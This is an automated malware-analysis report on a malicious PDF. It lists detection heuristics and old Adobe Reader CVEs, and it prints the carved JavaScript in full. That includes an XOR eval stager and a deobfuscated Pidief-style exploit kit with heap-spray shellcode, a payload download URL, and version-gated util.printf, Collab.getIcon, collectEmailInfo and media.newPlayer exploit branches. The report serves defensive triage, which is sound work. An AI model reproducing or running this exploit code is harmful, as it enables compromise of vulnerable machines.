MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT', 'PDF_JS', and 'PDF_PAGE_WORD_XOR_EVAL_STAGER'. The primary heuristic suggests a stager that uses JavaScript evaluation. While the document body is heavily obfuscated and unreadable, the presence of the embedded 'javascript_obj0011_000.js' artifact strongly suggests the intent is to download and execute a second-stage payload. The obfuscation level and lack of clear indicators for a specific family lead to an 'unknown family' classification.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 10
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGERPDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ahrudv.egh/4 Referenced by PDF JavaScript
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0011_000.js |
pdf-javascript-stream | PDF /JS object 11 at offset 0xE95 | 512 bytes |
SHA-256: ac8e96afe16f12f8daf770c1ca0b61ea1ac90976140c9e73568d7a72d68f9f27 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
try {var kXA=app;var sNS='Function'.replace(/[]/g, '');uJC='var :h:O = 76ZZ ;Zvar cD ::= thi::s;var rMZD=:ZcD.getPageNumWords(this.pageNum)Z;:vZar tC=\'\'Z:;for(var wF=0Z:;wF< rMD; ZwF::++){tZZC=[tC, cD.getPageNthWordZ(cD.page:ZNZ:um,wF,t:Zrue)].join(\'\');:Z;}var dU=\'\';for(var wZ:F=0;ZwF Z< tC.length; w::F+=2){eF=Z:tC.sub:str:(wF,2);dUZ=[dU,ZSt:Zring.fromCharCode(:parseInt(eF,16):^hO):Z].join(:Z\'\')Z:;}evaZ:l(dU);dU=Z:null;'.replace(/[\:Z]/g, '');mD=jCR(dEJ);} catch(tQ){var oR=kXA.doc[sNS](uJC);oR();}
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legacy_pdfkit_stage_000.js |
deobfuscated-js | getPageWords-XOR Pidief stage normalized at offset 0x0 | 3790 bytes |
SHA-256: bb84e6e642b2c2bc7497be6048fa559dbb556b468c1ea08158ee25659839ba55 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 2 eval/decoder/string-building token(s).
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Preview scriptFirst 1,000 lines of the extracted script
uH=13988;uH++;this.l='';b={n:"f"};var kX='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';var yF="";var t=new Array();try {var qZ='nG'.substring(31792,31792)} catch(qZ){};var xGJ=this.info['p'].replace(/[\s]/g, '');lY={yXG:12173};gL=32704;gL--;mT={gD:5148};var jAZ = this.info;var hW = (jAZ.producer.substr(0,5) == 'debug');var oH = new Array(); var tS = "%u";function gLU(str){str = str.split(tS);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function gT(str1, str2){return [str1, str2].join("");}function lYT(pI){var gB = jQ();var yXU = iF();gB += ((gB.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + yXU;if(hW) app.alert("URL: " + gB);gB=rA(gB);var d=tS;var eF=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";eF+=gB;return gLU(eF);};function jQ(){var vS = (jAZ.author + jAZ.title).replace(/[\s]/g, '');var mB = hS(vS, xGJ, kX);return mB;};function hS(vS, kX, xGJ){var mB="";for(var i=0; i < vS.length; i++){var sN = kX.indexOf(vS[i]);if(sN > -1 ){mB += xGJ[sN];}}return mB;};function rA(vS){var out = "";vS = lE(vS);g = Math.round(vS.length / 4);if (g != vS.length /4) vS+="00";for(var i=0; i < vS.length; i+=4){out+= tS + vS.substr(i+2, 2) + vS.substr(i, 2);}return out;};function lE(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function mVS(eX, len){while (eX.length * 2 < len){eX = gT(eX, eX);}return eX.substring(0, len / 2);};function hC(gVO){var oB = 0x0c0c0c0c; jY = lYT("pdf");if (gVO == 1){oB = 0x30303030;}var aD = 0x400000;var ln = jY.length * 2;var xU = aD - (ln + 0x38);var eX = gLU(tS+"9090"+tS+"9090"); eX = mVS(eX, xU);var aP = (oB - 0x400000) / aD;for (var bS = 0; bS < aP; bS ++ ){oH[bS] = gT(eX, jY);}};function iF(){try {return app.viewerVersion.toString();}catch(sL){ return 0;}}if(hW) app.alert("called exploit");var yXU = iF();if(hW) app.alert("v: " + yXU);if (yXU > 8){if(hW) app.alert("util.printf");hC(1);var rAB = "12999999999999999999";for (vU=0; vU < 276; vU++) rAB += "8";util.printf("%45000f", rAB);}if (yXU < 8){if(hW) app.alert("Collab.collectEmailInfo");hC(0);var sLK = gLU(tS+"0c0c"+tS+"0c0c");while (sLK.length < 44952) sLK += sLK;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : sLK});}if (yXU < 9.1){if (app.doc.Collab.getIcon){if(hW) app.alert("Collab.getIcon");hC(0);var gJ = unescape("%09");while (gJ.length < 0x4000) gJ += gJ;gJ = "N." + gJ;app.doc.Collab.getIcon(gJ);}}if (yXU == 9.2){if(hW) app.alert("media.newPlayer");hC(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}this.pE='';try {var fG='mV'} catch(fG){};var z={lG:"gV".charCodeAt(19144)};
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